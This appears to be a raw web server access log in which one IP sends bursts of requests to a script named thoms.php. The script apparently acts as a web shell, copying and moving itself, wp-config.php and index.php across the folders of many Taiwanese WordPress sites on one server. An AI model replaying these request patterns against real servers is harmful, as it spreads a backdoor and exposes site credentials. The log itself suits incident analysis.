45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13839 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 59259 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18040 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p= HTTP/1.1" 200 12232 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18039 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18175 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18184 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p= HTTP/1.1" 200 12199 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21596 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 11339 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11422 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 200 11382 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21595 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21628 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21576 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18278 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p= HTTP/1.1" 200 12234 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
